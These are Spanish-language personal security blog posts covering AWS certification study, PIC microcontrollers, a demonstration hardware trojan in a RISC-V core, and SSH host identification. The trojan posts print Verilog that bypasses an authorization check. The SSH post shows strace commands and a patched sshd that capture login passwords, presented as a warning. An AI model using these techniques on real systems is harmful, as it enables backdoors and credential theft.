2021/11/27

Preparación para la certificación AWS Cloud Practitioner

Como ya he manifestado en otra ocasión, no soy amigo de las certificaciones y más las que no son las que me interesan muchisimo como CSSLP, CEH u otras que no me dá la cabeza para dar. Sin embargo, tengo sobrados motivos para AWS Cloud Practitioner:

Me obliga a aprender, comprender y practicar cosas que vengo haciendo de modo esporádico desde hace diez años.

Aprovechar que recientemente hice los cursos de Architecting y Security. El tachado se debe a que escribí esto a fin de 2020 y no pude darla en ese entonces por motivos logísticos. Todo esto que estás leyendo, es del pasado.

Si tomás una certificación, la siguiente te sale la mitad y la verdad es que si logro hacerme tiempo, querría hacer la de Security, me parece que hay que dar la de Architecting antes, el tiempo dirá, tengo otras cosas que me interesan mucho más.

En lugar de pagar 150 por la siguiente, pagás 175 (100 + ( 150 / 2)) por dos certificaciones. Igual es un ahorro menor, lo que más me cuesta es practicar y estudiar.

Unos meses antes había creado mi cuenta gratuita, medio que por error, así que me conviene aprovechar el período para hacer todo lo que pueda.

Y finalmente, en estos tiempos tan Cloud, queda bien en el CV.

---

Como anécdota, en el trabajo anterior tipo 2011 teníamos unas techtalks, en una de ellas presenté una serie de scripts para desplegar instancias de EC2, no recuerdo si con bash o PHP.

Lo que hacía era de un conjunto de máquinas, apagar un tercio y actualizarlas. Luego tomar otro tercio y apagarlas, luego apagar el tercio restante y a la vez levantar el tercio actualizado, luego actualizar uno de los tercios restante y levantarlo y dejar el tercio restante apagado por si había que restaurar.

En la charla al comentar los resultados, me perdí un montón de puntos de marketing al decir, cito casi textualmente:

"De las ocho veces que lo hemos probado, sólo una vez funcionó... y no fué la última"

---


Otro motivo para usar Cloud en general, AWS en particular, no muy fuerte, es sólo una excusa, es que desde que cambié de proveedor estoy detras de un NAT impenetrable y he necesitado para algún taller exponer un servidor.


Recursos 


Tambien gracias al trabajo, tengo acceso a LinkedIn Learning, que antes se llamaba Lynda. Tomé unos cursos de una señorita, llamados Introduction to AWS for NonEngineers, del 1 al 4 (Cloud Concepts, Security, Core Services, Billing and Pricing), son superficiales, pero amenos e instructivos y ante la falta de práctica, la repetición de conceptos básicos van formando un terreno fértil. Duran entre 40 y 80 minutos cada uno.

Luego, como persona podés acceder a muchos cursos gratuitos de AWS, pero, otra vez gracias al trabajo, si la empresa es partner, con esa cuenta se pueden acceder a más cursos.

El criterio que utilicé fue dejar la instrucción oficial y más específica para más cerca del examen, así que la siguiente etapa fueron un montón de estos cursitos de AWS de poca duración, menos de media hora cada uno:

  • Amazon Simple Storage Service - Basics (AWS Support)
  • Amazon Simple Storage Service - Closer look - Part 1 (AWS Support)
  • Amazon Simple Storage Service - Closer look - Part 2 (AWS Support)
  • Identity and Access Management - Architecture and Terminology
  • Identity and Access Management - Basics (AWS Support)
  • Introduction to Amazon Elastic Compute Cloud

 Fuí mechando con un algunos labs gratuitos de qwiklabs:

  • Introduction to Amazon Simple Storage Service (S3) 
  • Introduction to AWS Identity and Access Management (IAM)

Si quisieras un certificado de completitud de qwiklabs, este tiene hay una especie de dashboard público pero no brinda detalle de los labs, sólo de los "quests". De todos modos te llega un lindo mail con tu nombre registrado y el detalle de la fecha y lo que hiciste.


Quedó entonces para el final el de seis horas

 

Y un agregado extra, en 2020 hubo un "challenge"  que te regalaban el curso "Cloud Practitioner Essentials Day" que viene a ser una versión lavada de "Cloud Practitioner Essentials Training", no labs, no materiales, no slides. Y un voucher para un examen de prueba y hubo algunos webinarcitos y por supuesto lo tomé todo.

A por acá es que retomo un año más tarde...

Y otro agregado extra, más que agregado el balde que rebalsó el vaso, ahora a fin de 2021 hubo una Rocket Journey o similar, para quienes por acuerdos empresariales pueden acceder a AWS Partnet Network, un montón de capacitación, incluso un día con instructor y un desafío final gracias al cual me conseguí un voucher por el %100.

Lo interesante es la fragmentación, no hubo ningún recurso completamente contenido dentro de los otros, incluso si nos limitamos a los de AWS, simpre hay algo que no está en ningún otro, más si dejás pasar tanto tiempo, todo va mutando.

Por un lado más personal, esto es una de las cosas más difíciles que he hecho en mi vida, no por que en sí sea difícil sino por mi mismo, no sé por qué. Pensá que empecé a escribir esto 2020-12-25 más o menos y el examen lo dí 2021-11-25.

 

El examen

 

Me facilitó mucho el que fuera presencial, la idea de tener que armar una máquina con windows, en un ambiente que no estuviera lleno de cosas prohibidas y garantizar evitar interrupciones, me supera.

Cuando me faltaba media hora para salir rumbo al examen, caí en cuenta que no habia leido The Well Architected Framework, por que la vista web no indica bien rápido que hay unos heavies pdf (entre 40 y 60 páginas). Aún así aprobé.

 

Retrospectivamente

 

Con leer atentamente TWAF, recorrer un poco https://docs.aws.amazon.com/, tomarse todos esos cursitos gratuitos, tener visto para que sirven los, ponele 50 servicios principales y por qué no, algunas horas de práctica, debería alcanzar.






2021/11/17

Notas al seminario de MCU PIC16F

He asistido a un interesante seminario de explicaciones del PIC16F a cargo de Andrés Bruno Saravia que es Certified Trainer de Microchip, autor del libro "Arquitectura y Programación PIC16F1939 En Lenguaje C con XC8", comparto acá mis notas y la adaptación a linux.

 

Ideas


Un concepto que ya tenía aunque no recuerdo de donde ni tenerlo bien conciente es el de la compresión de instrucciones, me llevó un rato darme cuenta que no era una compresión real, sino a la manera de referirse a la relación entre el número de instrucciones en C y las necesarias en assembly.


Otro concepto que había sufrido antes sin darme cuenta es el de arquitectura cerrada vs abierta. Los 8051 tiene arquitectura abierta, esto es que se pueden tomar unos pines y exponer el bus de datos, direcciones y control para agregarle una memoria, por ejemplo. Los microcontroladores como los PIC y AVR que he usado son cerrados, no hay buses paralelos afuera.

Me llamó la atención que siendo uno de los objetivos que la ISA fuera bien chiquita, que existieran:


bcf f,b borra bit f
bsf f,b setea bit f

que según entiendo bien se podrían implementar con

 

andwf f, d AND W con f
iorwf f,d OR inclusiva W con f 

 

Cuando me junte con el kit, probaré. ¿Qué? ¿Que podría simular? Ni a palos, tengo otras cosas que hacer estos días, pero es una buena idea, lo probaré tanto con el chip como como excusa para aprender a simular.

 

El kit


Entiendo que el kit que recibiré no incluye los capacitores ni el cristal, evidentemente este seminario está más orientado a profesionales que a hobbystas como yo, que se asustan ante la más mínima insinuación de electrónica digital. No importa, son unos pesitos más, no pasa nada.

 

La adaptación a linux

 

Toolchain


Se trata de MPLAB-X, no hay nada que adaptar, sólo hay que bajarla del sitio oficial. Me pone un poco incómodo que tanto para la instalación de ésta como para la instalación de los compiladores haga falta hacerlo como root. Esto garantiza que siempre lo usaré en una virtual.

 

El tiny bootloader

 

¿Cómo hacés para cargarle un programa a una computadora? Lo bajás de internet, lo pasás por pendrive, diskette, lo que sea. Estos bichitos no tienen tantas posibilidades, en el caso de PIC se llama ICSP, que no es una certificación sino In-Circuit Serial Programming, parecido supongo a ISP (In System Programming) de los AVRs,  sólo le ocupan dos o tres pines y necesitan un programador, que son $$$ más y como yo sólo estoy de visita no lo pienso adquirir, con mis ATMega328p aún me sobra para lo que necesito.

Como hay otra gente a la que tampoco le cierra gastar esa plata ni perder N pines, existe un método que es cargar un programa que cuando arranca se fija si en el puerto serie hay unos ciertos códigos y si los encuentra considera que son el programa y lo carga en la flash. Si pasa un rato y no hay nada en el puerto serie, ejecuta lo que tenga de antes, supongo que nada si no hay nada.

 

En el seminario se utilizó tinybld198 que gentilmente fué provisto por Andrés y corre en windows. A buscar y lo primero que aparece es tinybldlin que ni siquiera hay que compilar pues funciona con python.

 

El adaptador


Ni hace falta que lo diga pero lo haré, no necesita agregar ningún driver, no entiendo por qué windows tiene esa tara, pasa lo mismo con edu-ciaa-fpga, usbasp, lo que sea.

Sí puede hacer falta toquetear udev y permisos. Los pasos ya los he registrado en otras entradas pero no me ofende volver a hacerlo...

 

Conclusión


A mi me encantó, no sé si tanto si ya hubiese sabido antes de PIC, tuvo quizás demasiado tiempo de no demo, pero el tiempo de demo fue bien respetado, al punto que el seminario duró como cuarenta minutos de más.

 

Cuando me junte con el kit, sigo... en https://seguridad-agile.blogspot.com/2022/02/primer-contacto-real-con-pic16.html




2021/11/15

H4CK3D 2021: el ataque concreto

Ya casi estamos, tenemos...


Los componentes del ataque 


Voy a asumir que sabés qué es un pipeline, que entendés un poco de Verilog y lo más difícil, que leiste todo lo anterior o al menos le pasaste una mirada por encima.


Propagación de la instrucción por todo el pipeline  


rv32 implementa un pipeline clásico de 5 stages según el autor y cita de una a la wikipedia.

En uno de esos stages hay que detectar la ejecución de las instrucciones interesantes y en otro hacer la modificación. Para ello tuve que, aprovechando la infraestructura de verificación formal, propagar la instrucción a todo el pipeline. Esto es por que en fetch y decode existe la instrucción, pero luego desaparece, no hace falta.

 

Propagación de la instrucción a todo el pipeline
Propagación de la instrucción a todo el pipeline


Las señales prefijadas con "`" son las agregadas.

 

Extracción de señal del RTC

 

A la interfaz agregué:


output attack_rtc_enable,


y luego:


assign attack_rtc_enable = secondsHi[1];

Esto significa que cuando el bit de valor 2 del dígito de las decenas de segundo esté  prendido, o sea 2 a 3 y 5 (segundos 20 a 39, 50 a 59), el ataque estará habilitado desde el punto de vista del tiempo.

Esta restricción temporal existe para disminuir las probabilidades de que se active durante una etapa de testeo. En un escenario realista, sería un combinacional tipo


assign attack_rtc_enable = hours[3] && minutesLo[3] && secondsHi[1];

 

Para que el ataque esté activo cuando lleve encendido 8 a 15 horas, en el minuto 04, 14, 24, 34, 44, 54 (creo) y los segundos con los que veníamos.

 

FSM en el stage de writeback detector de la secuencia de interés

 

Nada especial, una FSM de 8 estados, pude haber usado menos quizás, tomando estos valores:

localparam
  instr_0 = 32'hfef400a3, // sb  a5,-31(s0)
  instr_1 = 32'hfe244703, // lbu a4,-30(s0)
  instr_2 = 32'h00800793, // li  a5,8
  instr_3 = 32'h02f71a63, // bne a4,a5,30c <main+0x218>
  instr_4 = 32'hfe144703, // lbu a4,-31(s0)
  instr_5 = 32'h00100793, // li  a5,1
  instr_6 = 32'h02f71063; // bne a4,a5,304 <main+0x210>

 
En cada estado se pregunta si está el valor siguiente. Si está se pasa al siguiente estado, sino, regresa al comienzo.  Llegada la instrucción cuarta, se activa el ataque.
 
 

waiting_instr_3: begin
  if (instr_in == instr_3) begin  // bne a4,a5,30c <main+0x218>
    attack_state      <= waiting_instr_4;
    attack_seq_enable <= 1;
  end else begin
    attack_state      <= waiting_instr_0;
    attack_seq_enable <= 0;
  end
end
 
Por las dudas dejé el ataque activo por dos ciclos más.

 

Modificador de registros en regs según condiciones

 

Pasé de:

if (!writeback_flush_in && rd_write_in && |rd_in)
  regs[rd_in] <= rd_value_in;

que dice que si no se está flusheando el pipeline que ponga en el registro apuntado por rd_in el valor en rd_value_in.

Pasé a, decía:

if (!writeback_flush_in && rd_write_in && |rd_in)
  if (attack_seq_enable && attack_rtc_enable) begin
    regs[4] <= rd_value_in;
    regs[5] <= rd_value_in;

  end else begin
    regs[rd_in] <= rd_value_in;
  end

Que dice que si se detectó la secuencia y es la hora apropiada, ponga en los registros 4 y 5 el valor en rd_value_in.

No pude hacer que funcione asignando sólamente a5 <= 1, me parece recordar que tenía que poner una lógica toda complicada, así resultó ser lo más sencillo.

 

Conexionado

 

No merece una sección aparte, pero obviamente tuve que agregar todo el cableado pasando por las interfaces. Esto es por que no encontré rápido, es más, me parece que al menos con las tools que usé no es factible saltearse las interfaces y conectar directamente los componentes. De esto tengo ideas, pero eso lo veremos en "the missing pieces".

 

 


H4CK3D 2021: el escenario y el programa víctima

Por si no querés leer todo lo anterior, te resumo, es un ataque desde el hardware al software inspirado en un hecho real, una falla de software en un sistema crítico.

Dependiendo del flujo del programa, detectar que está ejecutando un “momento interesante” y producir una alteración en el comportamiento.

 

El escenario real sería un expendedor de cervezas, un bloque recibe el pedido y otro lo autoriza. El funcionamiento normal es apretamos el botón de "dame cerveza" y si el botón de "ok" está apretado, te la da. En la demo es con una barrera y los botones son "abrir" y "autorizar".

Tras el ataque, si vamos en un cierto momento y apretamos el "dame cerveza", sale independientemente de que "ok" esté apretado.

 

El programa víctima es entonces:

 

while (1) {

sensor1 = gpio1.read();     // leer botón 1

sensor2 = gpio2.read();     // leer botón 2

if (sensor1) {              // si pide cerveza...

if (sensor2) {          // si está autorizado...

gpio3.write(1);     // abrir

} else {

printf(“no way\n”); // denegar

}

}

}

El diseño atacante:

if ( secuencia de instrucciones && condición de tiempo) {

register = 1;

}


Recordemos que para hacer posible e interesante este ataque, agregué un módulo de RTC y otro de servo, un PWM restringido, superpuesto con la placa:

 

SOC icicle en edu-ciaa-fpga
SOC icicle en edu-ciaa-fpga


Anticipándome, el ataque estará en bien adentro de rv32 y con una pista desde el RTC.

 

Explicación del programa

 

Para comprender el siguiente código necesitás saber unas pocas instrucciones.

 

La lectura de los botones

 

Lectura de botones
Lectura de botones

 

lui: Carga en a5 el valor 0x10 desplazado doce bits a la izquierda

addi: Le suma 4 a a5, observá que coincide con 0x10004 como corresponde con el código HDL y el código C.

lw: Lee en a5 la memoria apuntada por a5, o sea, 0x00010004, o sea, el valor de los botones.

zext.b: esto es el equivalente a andi rd,rs,255, le mete todo cero a los 24 bits superiores de a5.

not: invierte los valores, corresponde a ~.

sb: guarda en lo apuntado por s0 menos 29 lo que haya en a5


fast forward, estamos en...

 

La zona de interés

 

Zona de interés
Zona de interés

El punto de ataque es el naranja, queremos que independiente de los botones, no tome el branch, que pase directo a "state = BarrierUp;"

Para ello, necesitamos que a4 y a5 sean iguales. En el punto rojo, cuando se cargue ese 1 en a5, necesitamos forzar esa igualdad.

Antes, la zona amarilla es la secuencia que nos señala que el ataque debe activarse.

Despues, la instrucción resaltada en verde pisa el valor de a5 antes de que sea usado, esto produce que no hayan efectos colaterales relacionados a a5, lo mismo pasa con a4, pero búscalo vos en el código.


Hay varias maneras de obtener este archivo, como es pedirle a gcc que compile a assembly, que conserve las piezas intermedias o lo que hice, decompilar:

riscv64-unknown-elf-objdump main.o -d -S > main.s

-d es disassemble

-S es que incluya el código fuente

 

Pero no es tan fácil, ese main.o no está aún ubicado en el lugar definitivo del programa ni tiene resueltas las direcciones de salto, es entonces conveniente:


riscv64-unknown-elf-objdump progmen -d -S > progmem.s


y ahí te van a saltar unas diferencias, nos quedamos con los valores de la derecha.


main.s vs progmem.s
main.s vs progmem.s

En amarillo la diferencia por desplazamiento, en naranja los placeholders de los saltos y su resolución y en rojo el código binario correspondiente.


Esta bueno comprobar que el código de máquina corresponda:

 

Zona de interés
Zona de interés

Pero, siempre hay un pero, RISC-V es little endian, así que hay que darlos vuelta en el .hex:

Zona de interés en el binario final
Zona de interés en el binario final

Fijate que hay una colisión con uno de los pasos de la secuencia, de todos modos no es el primero, no hay problema.


Hasta acá ya tenemos que conocemos la secuencia previa y sabemos cuál instrucción debe ser afectada.


Si encontramos una parte de esa secuencia, hay que cambiar unos registros. ¿Cómo? ya veremos...






 



 



2021/11/08

Perdí una máquina

Con esto de la remotidad, hemos todos tenido problemas nuevos.


El siglo pasado me ocurrió al estar operando en un servidor que lo apagué de modo remoto pero estaba en otra ubicación, por suerte era a pocas cuadras.


Lo que ocurrió esta vez es que en la oficina tengo una máquina, con la IP fijada por DHCP. ¿Qué significa esto? Que aunque en su configuración local no tiene IP fija, el servidor de DHCP recuerda la MAC Address y me asigna siempre la misma IP. Esto es vital para que la pueda encontrar en modo remoto.

Por algún motivo que desconozco, no puedo acceder pese a que me consta que está prendida y conectada pues una persona tuvo la gentileza de ir a fijarse.

¿Qué puedo hacer? Si supiera la MAC Address, avisarle a quien administra el DHCP para que restaure la regla si es que se ha ido.

También, si pudiera acceder a una máquina en la misma red, asignarle en esa máquina esa MAC Address a una IP libre arbitraria, de esta manera:

$ arp -s 192.168.1.200 14:de:39:16:a0:57

Luego, independientemente de que dirección tenga, llegaría con:

$ ssh 192.168.1.200

Si no me creés, hacés bien. Dije lo anterior pues estoy completamente seguro que había dispositivos que para conectarte por primera vez tenías que hacer eso, pero por las dudas he comprobado el procedimiento y no funciona.


El rojo representa la temperatura del horno
El rojo representa la temperatura del horno

 

Para averiguar la MAC hay varias opciones

  • fijarse en la etiqueta del gabinete.
  • averiguar el nombre del puerto en el que está conectado y pedirle a quien administra los switches que se fije.
  • entrar una vez y consultarle al sistema operativo 

Para hacerla difícil, optaré por la última. Pero si no sé la IP...

  • Puedo fijarme en otra máquina desde la que me haya conectado la firma del servidor conservada y consultar a cada máquina que tenga SSH la firma a ver cuál coincide.
  • Puedo barrer todas las IP de la red intentando entrar


Barrer y que un equipo malicioso me tome la clave, modo hacker

 

Podría alguien tener configurado que se tome nota de las credenciales ingresadas en caso de error. No es algo que se pueda hacer con PAM según dice wikipedia de PAM,  "This lack of functionality is also the reason SSH does its own authentication mechanism negotiation." pero quizás no estoy interpretando bien, pues en /var/log/auth.log hay entradas como esta:

 

auth.log:Aug 21 22:50:55 carlos-VirtualBox sshd[65233]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.190  user=carlos


o quizás sea una falsa alarma, pues luego en SSH dice que "keyboard-interactive (RFC 4256): a versatile method where the server sends one or more prompts to enter information and the client displays them and sends back responses keyed-in by the user. Used to provide one-time password authentication such as S/Key or SecurID. Used by some OpenSSH configurations when PAM is the underlying host-authentication provider to effectively provide password authentication."

 

Luego hacemos un sudo fallido:

Aug 21 23:11:55 carlos-VirtualBox sudo: pam_unix(sudo:auth): authentication failure; logname= uid=1000 euid=0 tty=/dev/pts/9 ruser=carlos rhost=  user=carlos

Vamos bien, hay que aprender un poquito de PAM a ver como ponemos nuestro propio autenticador que guarde las credenciales.

Empecemos por...

[/etc/pam.d/sshd]
# Standard Un*x authentication.
@include common-auth

Suficiente, ya me aburrí, mejor veámosle las tripas al correr, cuando ingresamos "xxxxx" como password emite esto:

$ ps ax | grep sshd: | grep -ve grep | cut -d"?" -f 1 | xargs strace -f --attach
....
[pid 65596] read(4, "\200\216\2337-)\372dz\204\20\307\214\367\16\27\276?\346\341\26,\375\f\241\17\210\2\2318\206\340"..., 8192) = 84
[pid 65596] write(5, "\0\0\0\n\f", 5)   = 5
[pid 65592] <... poll resumed>)         = 1 ([{fd=6, revents=POLLIN}])
[pid 65596] write(5, "\0\0\0\5xxxxx", 9 <unfinished ...>
[pid 65592] read(6,  <unfinished ...>
[pid 65596] <... write resumed>)        = 9
[pid 65592] <... read resumed>"\0\0\0\n", 4) = 4
[pid 65596] read(5,  <unfinished ...>
[pid 65592] read(6, "\f\0\0\0\5xxxxx", 10) = 10
[pid 65592] getuid()                    = 0
....

 

Hagamos algo mejor, asumamos que ya conocemos el $PID del sshd y usemos clave 01234567 para variar:


$ strace -f -eread --attach $PID
...
pid 65628] read(5, "\0\0\0\0", 4)      = 4
[pid 65628] read(4, "\361\376l\340\225\267\260Y\".'\301\237\353\3412\210\4\r\273'D\301\30\272\350\346\375\3544Q\""..., 8192) = 148
[pid 65627] read(6, "\0\0\0\r", 4)      = 4
[pid 65628] read(5,  <unfinished ...>
[pid 65627] read(6, "\f\0\0\0\01001234567", 13) = 13
[pid 65627] read(5, "#\n# /etc/login.defs - Configurat"..., 4096) = 4096
[pid 65627] read(5, " issuing \n# the \"mesg y\" command"..., 4096) = 4096
[pid 65627] read(5, "algorithm compatible with the on"..., 4096) = 2358
...

Mejor, pero trae demasiadas líneas, un poquito de grep

$ strace -f --attach 65570 |& fgrep 'read(6, "\'  
[pid 66019] read(6, "\0\0\0D", 4)       = 4
[pid 66019] read(6, "\6", 68)           = 1
[pid 66019] read(6, "\0\0\0\v", 4)      = 4
[pid 66019] read(6, "\0\0\0\6carlos", 10) = 10
[pid 66019] read(6, "\0\0\0\1", 4)      = 4
[pid 66019] read(6, "\0\0\0\33", 4)     = 4
[pid 66019] read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid 66019] read(6, "\0\0\2,", 4)       = 4
[pid 66019] read(6, "\26\0\0\0\2\0\0\0\0\0\0\0\0\0\0\2\27\0\0\0\7ssh-rsa\0\0\0\3"..., 556) = 556
[pid 66019] read(6, "\0\0\1,", 4)       = 4
[pid 66019] read(6, "\26\0\0\0\2\0\0\0\0\0\0\0\0\0\0\1\27\0\0\0\7ssh-rsa\0\0\0\3"..., 300) = 300
[pid 66019] read(6, "\f\0\0\0\t987654321", 14) = 14

 

Es verdad, no es muy fácil de automatizar, quizás sea mejor tomar probablemente el código fuente de pam_unix.so, modificarlo, recompilarlo y reinstalarlo, esto fué solo una POC de por que no hay que probar contraseñas en equipos que no confiás.

 

Barrer y que un equipo malicioso me tome la clave, modo programador


Podemos instalar nuestro propio servidor ssh modificado para que registre las credenciales.

sudo apt  update
sudo apt install dh-autoreconf libz-dev libssl-dev
git clone https://github.com/openssh/openssh-portable.git
autoreconf
./configure
make ; # paciencia

 

Buscás y buscás el punto de inserción, que resulta ser

 

patch
patch

 

Luego:

$ sudo service sshd stop
$ sudo $(realpath sshd) -D

 

Intentás conectarte y tenés las claves:

sudo tail -f /var/log/auth
Nov  8 18:14:58 template sshd[1458]: User carlos Password XXXXXXXX
Nov  8 18:14:58 template sshd[1458]: Failed password for carlos from 192.168.1.100 port 49320 ssh2
Nov  8 18:15:01 template sshd[1458]: User carlos Password 12345678
Nov  8 18:15:01 template sshd[1458]: Failed password for carlos from 192.168.1.100 port 49320 ssh2
Nov  8 18:15:05 template sshd[1458]: User carlos Password mySecret
Nov  8 18:15:05 template sshd[1458]: Failed password for carlos from 192.168.1.100 port 49320 ssh2
Nov  8 18:15:05 template sshd[1458]: error: maximum authentication attempts exceeded for carlos from 192.168.1.100 port 49320 ssh2 [preauth]
Nov  8 18:15:05 template sshd[1458]: Disconnecting authenticating user carlos 192.168.1.100 port 49320: Too many authentication failures [preauth]



Ambos métodos requieren root, así que tiene que ser un equipo del atacante o que esté comprometido.


Buscar firmas

Para consultar las firmas a cada máquina, en teoría se hace así con nmap:

 

nmap
nmap


Si no tenés nmap o el servidor no te da la información como a mi me ocurre con algunas direcciones, no sé si es por alguna configuración del servidor o falla del script de nmap, usás ssh-keyscan:

 

ssh-keyscan
ssh-keyscan


Si te habías conectado antes, con ssh-keygen podés relacionar:


ssh-keygen
ssh-keygen

 

Si tuvieras la primera conexión:

 

ssh primera conexión
ssh primera conexión

 

la correlacionás con 

ssh -v
ssh -v


No he podido relacionar las firmas de ambos métodos.


Todo esto es muy complicado pero es scripteable:

START=106

STOP=110

NET=192.168.1.

TARGET=$( ssh-keygen -F 192.168.1.108 | grep -o "ecdsa.*" | cut -d" " -f 2 )

for HOST in $(seq $START $STOP); do

ssh-keyscan "$NET$HOST" | fgrep "$TARGET"

done

 

Ejecución script
Ejecución script

Si la máquina hubiera cambiado a otra IP, la encontrábamos si estaba en el rango del seq.

 

Putty


¿Qué pasa si tu conexión fué desde putty en windows? Hay que usar Regedit, buscar esta clave y ahí la IP de interés:


HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys


SSH Host Key en putty
SSH Host Key en putty

 

Para obtener el valor, le das botón derecho, modify...

 

SSH Host Key en putty
SSH Host Key en putty

Son estos dos valores:

 

0x2c41d8156e8fa6ff033b9bccde9005e7063dbbe5cff38334e336af7569bea178

0x17657a34f156c9f05ecae35749499ef23954a1b217f42c6ac946ce2a6073f8c5

 

Ahora hay que ver como se relacionan con:


AAAAC3NzaC1lZDI1NTE5AAAAIMX4c2AqzkbJaiz0F7KhVDnynklJV+PKXvDJVvE0emUX


echo -n AAAAC3NzaC1......JV+PKXvDJVvE0emUX | base64 -d | hexdump -C

00 00 00 0b 73 73 68 2d  65 64 32 35 35 31 39 00 |....ssh-ed25519.|
00 00 20 c5 f8 73 60 2a  ce 46 c9 6a 2c f4 17 b2 |.. ..s`*.F.j,...|
a1 54 39 f2 9e 49 49 57  e3 ca 5e f0 c9 56 f1 34 |.T9..IIW..^..V.4|
7a 65 17                                         |ze.|



Puede ser que no sea con la ecdsa, supongo que sabrás arreglártelas...



Conclusión

No es buena idea intentar autenticarse ante un sistema que no sabés si es el correcto.



 






2021/11/03

Ejemplo de SID

Aunque a todos nos debe haber ocurrido, es la primera vez que me ocurre a mi de modo tan evidente, comparto la experiencia.

Me contactaron unas personas para ver unos temas de seguridad y uno de los items era "revisar las seguridad de un firmware".

Los actores somos el end user, mi interlocutor que es el cliente y yo.

Este firmware era el resultado de la siguiente situación, el que hayan dos dispositivos y cada uno con dos firmwares representa las posibilidades, el end user termina conectándose a un firmware en un dispositivo:

 

Situación actual
Situación actual

Los end users tienen un dispositivo de hardware que para mejor interactuar con el  sistema del cliente requiere cambiar un aspecto de su configuración con frecuencia. Como la alta frecuencia de ese cambio no está prevista por el fabricante del firmware, no ofrece almacenar configuraciones alternativas, mediante la interfaz web del firmware hay que pisar con la nueva la existente en lugar de dar de alta varias y sólo elegir luego la activa.

La idea del cliente era tomar el firmware que es opensource y extenderlo.


Actualización de Firmware
Actualización de Firmware

Inmediatamente me generó incomodidad debido a que el firmware es una pieza delicada y cualquier cambio o extensión aumenta la superficie de ataque y aumenta la responsabilidad, tanto de seguridad como de funcionamiento. Además, pensaba estos inconvenientes adicionales:

  • Si hay upgrades al firmware oficial, el cliente va a tener que portar los cambios.
  • Si el cambio es aceptado e incorporado al firmware oficial, probablemente tenga que mantenerlo.
  • Hasta acá quizás es aceptable, pero si hubieran distintos firmwares, se multiplica el esfuerzo.

Esto viene de la mano de un concepto de seguridad que dice que a menos que te dediques a la criptografía, no diseñes criptografía, sólo usala, pues vas a meter la pata. En este caso aplica si no te dedicás a hacer firmware, no diseñes firmware.

 

La primera propuesta que se me ocurrió fue implementar una web que haga de fachada ante esos dispositivos y mediante un poquito de scrapping, opere contra el dispositivo, almacenando las configuraciones alternativas, que de paso no haría falta que las cargue el end user, sólo seleccionarlas.

 

Con servidor web en el medio
Con servidor web en el medio
 

El scrapper, al que elegantemente llamé "conector", sería uno por cada versión de firmware de cada dispositivo. Este concepto de conector se repite en todas mis propuestas.


Nuevamente una mala sensación, las credenciales de los dispositivos de los end users pasan por la infraestructura del cliente, eso aumenta su responsabilidad en términos de seguridad. Aunque sólo reciba las credenciales y las use sin persistirlas, que es una buena reducción de superficie, resulta inútil frente un APT en la infraestrucura del cliente.

Y están estos problemas adicionales:

  • El dispositivo debe ser accesible desde la red del cliente
  • Hay que darle una nueva credencial ante este sistema
  • Cuando el end user ingrese la IP del dispositivo sobre el cual operar... podría ser cualquier IP, se podría usar mal por error o a propósito.


Finalmente, evolucioné la idea a elaborar un plugin para el browser, que usando los conectores de scrapping, tomen las configuraciones o de un storage local o de la infraestructura del cliente.

 

Con plugin de browser
Con plugin de browser

Sólo hay que mantener dos versiones, no hace falta actualizar permanentemente, pues el cambio de arquitectura de los plugins de los browsers no es para nada frecuente. Las credenciales del dispositivo quedan del lado del end user

Los ataques que quedan pasan por influenciar al end user para que ponga la IP de un dispositivo atacante en lugar del suyo y así tomarle las credenciales, pero quien caiga en ese ataque probablemente caiga tambien en "dame las credenciales".

Una posibilidad extra es hacer una aplicación mobile, pero quizás nuevamente estás entrando en terreno desconocido y aumentando la superficie de ataque.


Por si no te diste cuenta, SID es un término nuevo que inventé, o quizás reinventé, pero no tengo ganas de andar buscando a ver si ya existe, Security Influenced Design, en la línea de TDD (Test Driven Design de Kent Beck), BDD (Behavior Driven Design), DDD (Domain Driven Design de Evans). No llega a guiar el diseño pero si lo influencia.